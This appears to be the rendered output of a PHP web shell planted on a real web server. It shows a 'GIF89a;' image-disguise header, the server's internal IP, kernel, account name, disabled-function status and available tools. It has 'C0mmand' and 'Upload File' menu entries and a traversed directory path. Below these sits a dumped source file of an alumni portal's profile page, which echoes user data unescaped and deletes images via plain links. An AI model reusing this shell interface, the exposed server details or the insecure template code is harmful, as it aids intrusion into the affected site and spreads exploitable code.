GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.188.227.64 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../css/../alumni/application/views/user/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!doctype html> <html lang="en"> <head> <!-- Required meta tags --> <meta http-equiv="content-type" content="text/html;charset=UTF-8" /> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>User Profile :: <?php echo $this->session->userdata("branchData")["branch_short_name"]; ?> | Alumni Portal</title> <link rel="stylesheet" href="<?php echo base_url("assets/user/css/style-liberty.css"); ?>"> <link rel="image icon" href="<?php echo base_url("/assets/images/logo.png"); ?>"> <link href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&display=swap" rel="stylesheet"> <script src="<?php echo base_url("assets/user/js/jquery-1.10.2.min.js"); ?>"></script> <script src="<?php echo base_url("assets/user/js/bootstrap.min.js"); ?>"></script> <script src="<?php echo base_url("assets/user/js/utils.js"); ?>"></script> <script> var csrfHash = ""; </script> </head> <body class="sidebar-menu-collapsed"> <?php $this->load->view("user/navAndHeader"); ?> <!-- main content start --> <div class="main-content"> <!-- content --> <div class="container-fluid content-top-gap"> <nav aria-label="breadcrumb"> <ol class="breadcrumb my-breadcrumb"> <li class="breadcrumb-item"><a href="<?php echo site_url("user/Dashboard") ?>">Home</a></li> <li class="breadcrumb-item active" aria-current="page"><a href="">User Profile</a></li> </ol> </nav> <div class="col-xl-12 pr-xl-2"> <!-- form --> <div class="register__header text-center mb-3"> <h3 class="card__title pull-left"><i class="fa fa-user-circle"></i> User Profile</h3><br> </div> <?php if (validation_errors() != false) { ?> <div class="alert alert-danger"> <strong><?php echo validation_errors(); ?></strong> </div> <?php } ?> <?php if ($this->session->flashdata('successMessage')) { ?> <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?> </strong> </div> <?php } ?> <?php if ($this->session->flashdata('errorMessage')) { ?> <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div> <?php } ?> <div class="row"> <div class="col-lg-3" style="border:0px solid black;"> <div class="card card_border p-md-4"> <div class="card-body"> <div class="text-center"> <?php if (file_exists("./" . $personalAndProfileData->p_photo) && $personalAndProfileData->p_photo != "") { //echo "Image exist"; ?> <img class="img-fluid" src=" <?php echo base_url() . $personalAndProfileData->p_photo; ?>"> <?php } else { //echo "Image not exist"; ?> <img src="<?php echo base_url("assets/user/uploads/profileimg.png"); ?>"> <?php } ?> <h3 class="input__label"><?php echo $personalAndProfileData->name; ?></h3> <label class="input__label"><b><u><?php echo $personalAndProfileData->c_name; ?></u> - </b></label> <label class="input__label"><b><u><?php echo $personalAndProfileData->user_type; ?></u></b></label> </div> </div> </div> </div> <div class="col-lg-9" style="border:0px solid black;"> <div class="card card_border p-md-4"> <div class="card-body"> <nav> <div class="nav nav-tabs" id="nav-tab" role="tablist"> <a class="nav-item nav-link active" id="nav-home-tab" data-toggle="tab" href="#nav-persoanl" role="tab" aria-controls="nav-home" aria-selected="true"><i class="fa fa-info"></i> Personal Info.</a> <a class="nav-item nav-link" id="nav-home-tab" data-toggle="tab" href="#nav-education" role="tab" aria-controls="nav-home" aria-selected="true"><i class="fa fa-university"></i> Educational Info.</a> <a class="nav-item nav-link" id="nav-profile-tab" data-toggle="tab" href="#nav-job" role="tab" aria-controls="nav-profile" aria-selected="false"><i class="fa fa-user"></i> Job</a> <a class="nav-item nav-link" id="nav-contact-tab" data-toggle="tab" href="#nav-gallery" role="tab" aria-controls="nav-gallery" aria-selected="false"><i class="fa fa-image"></i> Gallery</a> </div> </nav> <div class="tab-content" id="nav-tabContent"> <div class="tab-pane fade show active" id="nav-persoanl" role="tabpanel" aria-labelledby="nav-home-tab"> <div class="col-lg-12 mt-3 p-0"> <div class="card"> <div class="card-body"> <div class="form-row"> <div class="col-lg-2"><b>Email </b></div> <div class="col-lg-10"><?php echo strtoupper($personalAndProfileData->email); ?></div> <div class="col-lg-2"><b>Session </b></div> <div class="col-lg-4"><?php echo $personalAndProfileData->session; ?></div> </div> <div class="form-row"> <div class="col-lg-2"><b>Gender </b></div> <div class="col-lg-4"><?php if ($personalAndProfileData->gender == "M") echo "Male"; else echo "Female"; ?></div> <div class="col-lg-2"><b>D.O.B. </b></div> <div class="col-lg-4"><?php echo date("d-m-Y", strtotime($personalAndProfileData->dob)); ?></div> </div> <div class="form-row"> <div class="col-lg-2"><b>Registration Date </b></div> <div class="col-lg-4"><?php echo date("d-m-Y", strtotime($personalAndProfileData->date_added)); ?></div> <div class="col-lg-2"><b>Aniversary Date </b></div> <div class="col-lg-4"><?php echo date("d-m-Y", strtotime($personalAndProfileData->a_date)); ?></div> </div> </div> </div> </div> </div> <div class="tab-pane fade" id="nav-job" role="tabpanel" aria-labelledby="nav-profile-tab"> <?php //echo $this->db->last_query(); //echo sizeof($jobData); if (sizeof($jobData) == 0) { echo "Hello"; ?> <div class="col-lg-12 mt-3 p-0"> <div class="card mt-3 p-4"> <p class="alert-danger">No Job Updated yet.</p> </div> </div> <?php } else { foreach ($jobData as $job) { ?> <div class="col-lg-12 mt-3 p-0"> <?php if ($job->j_status == "Current") { ?> <div class="card <?php if ($job->job_delete_status == 't') echo "text-white bg-danger mb-3"; ?>"> <div class="card-header">Job At <?php echo ($job->company_name == null || $job->company_name == "") ? "" : $job->company_name; ?> </div> <div class="card-body"> <div class="form-row"> <div class="col-lg-2"><b>Designation </b></div> <div class="col-lg-4"><?php echo ($job->designation == null || $job->designation == "") ? "" : $job->designation; ?></div> <div class="col-lg-2"><b>Role</b></div> <div class="col-lg-4"><?php echo ($job->role == null || $job->role == "") ? "" : $job->role; ?></div> </div> <div class="form-row"> <div class="col-lg-2"><b>Session </b></div> <div class="col-lg-4"><?php echo $job->j_from; ?> - <?php echo $job->j_to; ?></div> <div class="col-lg-2"><b>Job Status </b></div> <div class="col-lg-4"><?php echo $job->j_status; ?></div> </div> <div class="form-row"> <div class="col-lg-2"><b>Address </b></div> <div class="col-lg-10"><?php echo $job->address1 . "," . $job->address2 . ", "; echo ($job->landmark == null || $job->landmark == "") ? "" : $job->landmark . ", "; echo ($job->city == null || $job->city == "") ? "" : $job->city . ", "; echo ($job->state == null || $job->state == "") ? "" : $job->state . ", "; echo ($job->country == null || $job->country == "") ? "" : $job->country; echo ($job->pincode == null || $job->pincode == "") ? "" : " - " . $job->pincode . "."; ?></div> </div> </div> </div> <?php } else { ?> <p class="No Job Is Updated"></p> <?php } ?> </div> <?php } } ?> </div> <div class="tab-pane fade " id="nav-education" role="tabpanel" aria-labelledby="nav-contact-tab"> <div class="col-lg-12 mt-3 p-0"> <div class="card"> <div class="card-body"> <div class="form-row"> <div class="col-lg-2"><b>Course </b></div> <div class="col-lg-4"><?php echo $personalAndProfileData->c_name ?></div> <div class="col-lg-2"><b>Passing Year </b></div> <div class="col-lg-4"><?php echo $personalAndProfileData->passing_year ?></div> </div> <div class="form-row"> <div class="col-lg-2"><b>College Branch </b></div> <div class="col-lg-4"><?php echo $personalAndProfileData->college_loc ?></div> <div class="col-lg-2"><b>Session </b></div> <div class="col-lg-4"><?php echo $personalAndProfileData->session; ?></div> </div> </div> </div> </div> </div> <div class="tab-pane fade" id="nav-gallery" role="tabpanel" aria-labelledby="nav-contact-tab"> <div class="row justify-content-center"> <div class="col-lg-8 mt-3" style="display:inline;"> <div class="p-3 card card_border"> <?php if (sizeof($gallaryData) > 0) { ?> <div id="gallaryCarousel" class="carousel slide" data-ride="carousel"> <ol class="carousel-indicators"> <?php for ($i = 0; $i < sizeof($gallaryData); $i++) { ?> <li data-target="#gallaryCarousel" data-slide-to="<?php echo $i; ?>" class="<?php if ($i == 0) echo "active"; else ""; ?>"></li> <?php } ?> </ol> <div class="carousel-inner"> <?php for ($i = 0; $i < sizeof($gallaryData); $i++) { $image = $gallaryData[$i]; ?> <div class="carousel-item <?php if ($i == 0) echo "active"; ?> layer"> <div class="show-image"> <img src="<?php echo base_url() . $image->pic_name; ?>" class="d-block w-100" alt="<?php echo $image->pic_name; ?>"> <?php if ($this->session->userdata("userData")["userid"] == $image->u_id) { ?> <a href="<?php echo site_url("user/Gallary/deleteImage/" . $image->pic_id)."/".$image->u_id; ?>" onclick="return confirm('Are you sure want to delete image?')"><i data-toggle="tooltip" title="Click To Delete Image." class="fa fa-times delete"></i></a> <?php } else { ?> <a href="<?php echo site_url("user/Gallary/likeGalleryPic/" . $image->pic_id . "/" . $image->pic_likes . "/" . $personalAndProfileData->userid); ?>"><i data-toggle="tooltip" title="Click To Delete Image." class="fa fa-heart delete" style="color: red;"></i></a> <?php } ?> </div> <div class="carousel-caption d-none d-md-block"> <h4><?php echo $image->pic_likes . "Likes"; ?></h4> </div> </div> <?php } ?> </div> <a class="carousel-control-prev" href="#gallaryCarousel" role="button" data-slide="prev"> <span class="carousel-control-prev-icon" aria-hidden="true"></span> <span class="sr-only">Previous</span> </a> <a class="carousel-control-next" href="#gallaryCarousel" role="button" data-slide="next"> <span class="carousel-control-next-icon" aria-hidden="true"></span> <span class="sr-only">Next</span> </a> </div> <?php } else { ?> <div class="alert alert-danger">No Images Uploaded Yet.</div> <?php } ?> </div> </div> </div> </div> </div> </div> </div> </div> <!-- //form --> </div> </div> <!-- //content --> </div> <!-- main content end--> <?php $this->load->view("user/footer"); ?>